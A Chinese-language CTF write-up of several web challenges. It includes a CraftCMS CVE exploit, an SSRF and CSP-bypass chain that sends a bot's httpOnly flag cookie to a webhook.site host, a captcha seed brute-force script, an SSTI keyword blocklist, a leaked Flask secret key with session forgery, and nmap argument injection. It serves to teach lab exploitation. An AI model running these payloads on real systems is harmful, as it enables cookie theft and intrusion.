这次比赛题非常有意思,甚至可以用猥琐两个字形容。

web题是和kkkl@chamd5师傅一起做的,很多思路都是他想出来的。

craftcms

之前爆出过cve,参考这篇:

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

使用第二种trick打日志包含会被检测到,而使用第三种方法imagemagick扩展写马应该是没有权限,写不进去web目录。

考虑第一次直接复制里面的报文打就行,往/tmp下写文件。

1698682144239

随后文件包含即可。

1698682170209

easy latex

这题看上去是要XSS。大体看一遍逻辑发现theme是可控的,并且渲染的时候是通过latex-js来远程加载theme,利用点估计就是通过可控的theme进行xss

一开始看错了,还以为是什么md5弱类型绕过,仔细一看就是把账号md5之后当作密码就能登陆了。

app.post('/login', (req, res) => {
    let { username, password } = req.body

    if (md5(username) != password) {
        res.render('login', { msg: 'login failed' })
        return
    }

    let token = sign({ username, isVip: false })
    res.cookie('token', token)
    res.redirect('/')
})
成为vip

既然要想办法利用theme那么肯定要成为vip了。这里url返回一个ok就可以成为vip了。比较奇怪的是他是用new URL(username, vip_url)作为url请求访问的,正常来说直接格式化字符串就好了,并且这个username在前面,当时就觉得比较可疑。

app.post('/vip', auth,async (req, res) => {
    var session = req.session
    let username = session.username
    let { code } = req.body
    let vip_url = VIP_URL
    let data = await (await fetch(new URL(username, vip_url), {
        method: 'POST',
        headers: {
            Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
        },
        body: new URLSearchParams({ code })
    })).text()
    if ('ok' == data) {
        res.cookie('token', sign({ username, isVip: true }))
        res.send('Congratulation! You are VIP now.')
    } else {
        res.send(data)
    }
})

具体看URL()的逻辑或者本地去调试都很容易发现:只要第一个参数是个完整的http url就会把第二个参数无视掉。因此自己写个返回ok的网页就能成为vip了。

以这个恶意url为用户名登陆即可成为vip

image-20231031001103195

XSS

XSS这一步就有点恶心了。其实这里已经看到了id是可控的,不一定非要访问/note,但此时光想着怎么打note.htmlxss了。

app.get('/share/:id', reportLimiter, async (req, res) => {
    const { id } = req.params
    if (!id) {
        res.send('no note id specified')
        return
    }
    const url = `http://localhost:${PORT}/note/${id}`
    try {
        await visit(url)
        res.send('done')
    } catch (e) {
        console.log(e)
        res.send('something error')
    }
})

因为/note这里是要求是vip才能传theme,这里就进入ctf的思维定式了(既然这个路由要成为vip才能设置主题那么肯定有用),但是看了眼note.html有比较严格的CSP限制。这里和队友想了好久,其中发现了两种方法可以打alert,我的方法比较答辩,就是控制host头赋值给CSP就能打本地alert,但实际上连bot都打不了,除非除非是有个CRLF

1698682299128

队友kkkl想到的方法是更通用的,因为note.htmlCSP引入了jsdelivr,这是个可以代理githubcdn,因此只要把github中的恶意脚本通过https://www.jsdelivr.com/github代理就能绕过`CSP`了,但可惜的是这种方法在后续也根本不可能绕过`http only`。

app.post('/note', auth, (req, res) => {
    let { tex, theme } = req.body
    if (!tex) {
        res.send('empty tex')
        return
    }
    if (!theme || !req.session.isVip) {
        theme = ''
    }
    const id = notes.add({ tex, theme })
    let msg = (!req.body.theme || req.session.isVip) ? '' : 'Be VIP to enable theme setting!'
    msg += `\nYour note link: http://${req.headers.host}/note/${id}`
    msg += `\nShare it via http://${req.headers.host}/share/${id}`
    res.send(msg.trim())
})

但后来想到了/preview.html也是可以请求加载指定的theme的,并且没有CSP,再结合前面提到的id是可控的就能完美利用了。

    <div class="mt-4">
        <latex-js id="tex" baseURL="<%= base %>"><%= tex %></latex-js>
    </div>

能够请求自定义的theme是因为/preview路由下面也是通过new URL这种错误的处理方式进行fetch的,theme可控所以就可以随便加载我们自定义的js了,最关键的是这个页面没有CSP限制

app.get('/preview', (req, res) => {
    let { tex, theme } = req.query
    if (!tex) {
        tex = 'Today is \\today.'
    }
    const nonce = getNonce(16)
    let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
    if (theme) {
        base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
    }
    res.render('preview.html', { tex, nonce, base })
})

这里请求的js是需要注意一下的,比如你传参?theme=http://xx.xx.xx.xx,那么他请求加载的js路径是http://xx.xx.xx.xx/js/base.js

绕过http only

bot的逻辑是很经典的限制了domainhttp only,在队内月赛/升级赛遇到无数次这种恶心的东西。

const visit = async (url) => {
    console.log(`start: ${url}`)
    const browser = await puppeteer.launch({
        headless: 'new',
        executablePath: puppeteer.executablePath(),
        args: ['--no-sandbox'],
    })

    const ctx = await browser.createIncognitoBrowserContext();
    try{
        const page = await ctx.newPage();
        await page.setCookie({
            name: 'flag',
            value: FLAG,
            domain: `${APP_HOST}:${APP_PORT}`,
            httpOnly: true
        })
        await page.goto(url, {timeout: 5000})
        await sleep(3000)
        await page.close()
    }catch(e){
        console.log(e);
    }
    await ctx.close();
    await browser.close()
    console.log(`done: ${url}`)
}

module.exports.visit = visit

http only只限制了js层面获取cookie,但是代码层面是管不到的。而domain限制了cookie的有效域,因此只能想办法找个app.js中的路由回显cookie了。很容易就想到了vip路由,这里会带着cookie访问url

app.post('/vip', auth,async (req, res) => {
    var session = req.session
    let username = session.username
    let { code } = req.body
    let vip_url = VIP_URL
    let data = await (await fetch(new URL(username, vip_url), {
        method: 'POST',
        headers: {
            Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
        },
        body: new URLSearchParams({ code })
    })).text()
    if ('ok' == data) {
        res.cookie('token', sign({ username, isVip: true }))
        res.send('Congratulation! You are VIP now.')
    } else {
        res.send(data)
    }
})

而这里是又出现了new URL这种错误处理方式,所以username搞成自己的dnslog就可以了。

这里有两种办法。一种是控制机器人去登录拿到token,另一种是在远程登录个账号,把浏览器的token复制过来用fetch直接带着token/vip

PS:憨批了本地调试的时候把/vipauth关掉了操,我说怎么没token打不通。

const data = new URLSearchParams();
data.append('username', 'https://webhook.site/e58effa8-d9d9-48a0-98f2-22a962961c22');
data.append('password', '9cbf71c9e88878f6db5cc6285a7a1de7');
fetch('/login', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: data
}).then(response => {
    const vipData = new URLSearchParams();
    vipData.append('code', '123');
    fetch('/vip', {
      method: 'POST',
      body: vipData
    });
  }).then(response => response.text())
  .then(data => {
    console.log('Success:', data);
  })
  .catch(error => {
    console.error('Error:', error);
  });

然后访问就可以让bot访问preview路由来加载没有CSP限制的恶意js了。

http://124.70.33.170:3000/share/..%2Fpreview%3Ftex%3D123%26theme%3Dhttp%3A%2F%2F114.xx.xx.xx

1698682522021

story

非常明显的SSTI

@app.route('/story', methods=['GET'])
def story():
    story = session.get('story','')
    if story is not None and story != "":
        tpl = open('templates/story.html', 'r').read()
        return render_template_string(tpl % story) 
    return redirect("/")      

但是想要设置story首先要成为vip

@app.route('/vip', methods=['POST'])
def vip():
    captcha = generate_code()
    captcha_user = request.json.get('captcha', '')
    if captcha == captcha_user:
        session['vip'] = True
    return render_template("home.html")

@app.route('/write', methods=['POST','GET'])
def rename():
    if request.method == "GET":
        return redirect('/')
    
    story = request.json.get('story', '') 
    if session.get('vip', ''):

        if not minic_waf(story):
            session['username'] = ""
            session['vip'] = False
            return jsonify({'status': 'error', 'message': 'no way~~~'})
        
        session['story'] = story
        return jsonify({'status': 'success', 'message': 'success'})
    
    return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400

并且/write这里调用的竟然是随机waf,莫名感觉有点搞笑…甲方看了直落泪。

import random

rule = [
    ['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'],                   # rule 1
    ['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'],              # rule 2
    ['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'],                           # rule 3
    ['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'],                          # rule 4
    ['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'],                          # rule 5
    ['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem']                  # rule 6
]

# Make waf more random
def transfrom(number):
    a = random.randint(0,20)
    b = random.randint(0,100)
    return (a * number + b) % 6

def singel_waf(input, rules):
    input = input.lower()
    for rule in rules:
        if rule in input:
            return False
    return True

def minic_waf(input):
    waf_seq = random.sample(range(21),3)
    for index in range(len(waf_seq)):
        waf_seq[index] = transfrom(waf_seq[index])
        if not singel_waf(input, rule[waf_seq[index]]):
            return False
    return True

这里其实不需要去绕这么多黑名单,只要去绕config就行,因为SECRET_KEYconfig里面,直接去伪造flask session就可以ssti 了。但由于这个随机WAF,实际上你多请求几次,甚至连config都不用绕过。

成为vip(验证码生成逻辑错误)

这个题的主要问题是如何成为vip

仔细观察生成验证码的逻辑,首先访问/captcha会实例化Captcha类,随后调用了generate()方法生成第一个验证码。

这里值得注意的地方就是random.seed设置的种子是(key or int(time.time())) + random.randint(1,100),即当前时间戳加上一个随机数,这就很容易爆破了(只要服务器时间是同步的)

我们知道random是伪随机的,这里自己写个脚本测试一下就知道,设置个固定的种子,然后调用generate_code若干次,运行多次脚本。尽管没发现周期性,但你会发现每一次运行脚本生成的随机数一定是一样的。

ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]

DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]


class Captcha:
    lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

    def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4, 
                 fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
        self._width = width
        self._height = height
        self._length = length
        self._key = (key or int(time.time())) + random.randint(1,100)
        self._fonts = fonts or DEFAULT_FONTS
        self._font_sizes = font_sizes or (42, 50, 56)
        self._truefonts: t.List[FreeTypeFont] = []
        random.seed(self._key)


    @property
    def truefonts(self) -> t.List[FreeTypeFont]:
        if self._truefonts:
            return self._truefonts
        self._truefonts = [
            truetype(n, s)
            for n in self._fonts
            for s in self._font_sizes
        ]
        return self._truefonts

    @staticmethod
    def create_noise_curve(image: Image, color: ColorTuple) -> Image:
        w, h = image.size
        x1 = random.randint(0, int(w / 5))
        x2 = random.randint(w - int(w / 5), w)
        y1 = random.randint(int(h / 5), h - int(h / 5))
        y2 = random.randint(y1, h - int(h / 5))
        points = [x1, y1, x2, y2]
        end = random.randint(160, 200)
        start = random.randint(0, 20)
        Draw(image).arc(points, start, end, fill=color)
        return image

    @staticmethod
    def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
        draw = Draw(image)
        w, h = image.size
        while number:
            x1 = random.randint(0, w)
            y1 = random.randint(0, h)
            draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
            number -= 1
        return image

    def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
        font = random.choice(self.truefonts)

        left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
        w = int((right - left)*1.7) or 1
        h = int((bottom - top)*1.7) or 1

        dx1 = random.randint(0, 4)
        dy1 = random.randint(0, 6)
        im = createImage('RGBA', (w + dx1, h + dy1))
        Draw(im).text((dx1, dy1), c, font=font, fill=color)

        # rotate
        im = im.crop(im.getbbox())
        im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)

        # warp
        dx2 = w * random.uniform(0.1, 0.3)
        dy2 = h * random.uniform(0.2, 0.3)
        x1 = int(random.uniform(-dx2, dx2))
        y1 = int(random.uniform(-dy2, dy2))
        x2 = int(random.uniform(-dx2, dx2))
        y2 = int(random.uniform(-dy2, dy2))
        w2 = w + abs(x1) + abs(x2)
        h2 = h + abs(y1) + abs(y2)
        data = (
            x1, y1,
            -x1, h2 - y2,
            w2 + x2, h2 + y2,
            w2 - x2, -y1,
        )
        im = im.resize((w2, h2))
        im = im.transform((w, h), QUAD, data)
        return im

    def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
        image = createImage('RGB', (self._width, self._height), background)
        draw = Draw(image)

        images: t.List[Image] = []
        for c in chars:
            if random.random() > 0.5:
                images.append(self._draw_character(" ", draw, color))
            images.append(self._draw_character(c, draw, color))

        text_width = sum([im.size[0] for im in images])

        width = max(text_width, self._width)
        image = image.resize((width, self._height))

        average = int(text_width / len(chars))
        rand = int(0.25 * average)
        offset = int(average * 0.1)

        for im in images:
            w, h = im.size
            mask = im.convert('L').point(self.lookup_table)
            image.paste(im, (offset, int((self._height - h) / 2)), mask)
            offset = offset + w + random.randint(-rand, 0)

        if width > self._width:
            image = image.resize((self._width, self._height))

        return image

    def generate_image(self, chars: str) -> Image:
        background = random_color(238, 255)
        color = random_color(10, 200, random.randint(220, 255))
        im = self.create_captcha_image(chars, color, background)
        self.create_noise_dots(im, color)
        self.create_noise_curve(im, color)
        im = im.filter(SMOOTH)
        return im

    def generate(self, format: str = 'png') -> (BytesIO,str):
        code = generate_code(self._length)
        im = self.generate_image(code)
        out = BytesIO()
        im.save(out, format=format)
        out.seek(0)
        return out, code

    def write(self, output: str, format: str = 'png') -> (Image, str):
        code = generate_code(self._length)
        im = self.generate_image(code)
        im.save(output, format=format)
        return im, code

/vip是调用了generate_code方法生成验证码。

@app.route('/vip', methods=['POST'])
def vip():
    captcha = generate_code()
    captcha_user = request.json.get('captcha', '')
    if captcha == captcha_user:
        session['vip'] = True
    return render_template("home.html")

def generate_code(length: int = 4):
    
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    result = ''.join(random.choice(characters) for _ in range(length))
    print(result)
    # I=I+1
    return result

这里编写爆破脚本的思路就有了,我们可以先访问一次/catpcha让他重置一下种子,因为题目设置的key是由当前时间戳加个随机数生成的,所以这个种子是可以通过遍历爆破就能拿到。又因为random.choice是伪随机的,所以只要爆破对了key正确的验证码就出来了。

不过这里有两个坑:

  1. 第一次生成验证码必须实例化Captcha(200, 80,key=key),宽高必须对应上,好像是random里调用了指定的宽高,这样就打乱了后续(第二次第三次)生成验证码的逻辑,导致爆破不出来。
  2. 公共靶场,可能有别人也在访问路由从而破坏成功率。

考虑到上面两个因素,写下了如下脚本,就算有人捣乱但是也不可能一直捣乱,只要一直请求就好了,实际测试几秒钟就能跑出来。

import requests
import random
import time
from utils.captcha import Captcha,generate_code

flag=False
url="http://124.70.33.170:23001/"
while True:
    session = requests.session()
    uuu=url+"captcha"
    number=int(time.time())
    session.get(url=uuu)
    cc1=session.cookies.get("session")
    i=0

    for randoms in range(1,101):
        key = number+randoms
        # key = 
        gen = Captcha(200, 80,key=key) #必须是填200,80.
        buf , captcha_text = gen.generate()
        # gen = Captcha(key=1698630385)
        for _ in range(0,i+1):
            captcha = generate_code()
        # print(captcha)
        burp0_url = url+"vip"

        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://124.70.33.170:23001", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://124.70.33.170:23001/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7", "Connection": "close"}
        burp0_json={"captcha": str(captcha)}
        # print(burp0_json)
        session.post(burp0_url, headers=burp0_headers, json=burp0_json)
        cc2=session.cookies.get("session")
        i=i+1
        if cc1!=cc2:
            print("sucess")
            print(cc2)
            flag=True
            break
    if flag:
        print("找到了")
        break
    else:
        print("没有找到,请重新运行")
#sucess
#eyJjYXB0Y2hhIjoieGRmQSIsInZpcCI6dHJ1ZX0.ZT8bDQ.JKzPFmo1IIlRlRxtBKT4Ut3tbms
#找到了
session伪造打SSTI

直接用{{config}}就行,多试几次,因为是随机WAF。多试几次就会遇到没有ban掉config的垃圾WAF了,设置成功就能直接读取到secret_key了。

1698682680474

成功读取到secret-key:16d07433931f178ff35c75e83924d5e9

伪造sessionssti即可。

1698682706411

带着session请求/story即可。

1698682734088

MyGO’s Live!!!!!

第一道题直接上车了,就是-iL 读文件然后输出到主页上。参数注入的题我个人不是很喜欢,并且自己也不擅长就没看。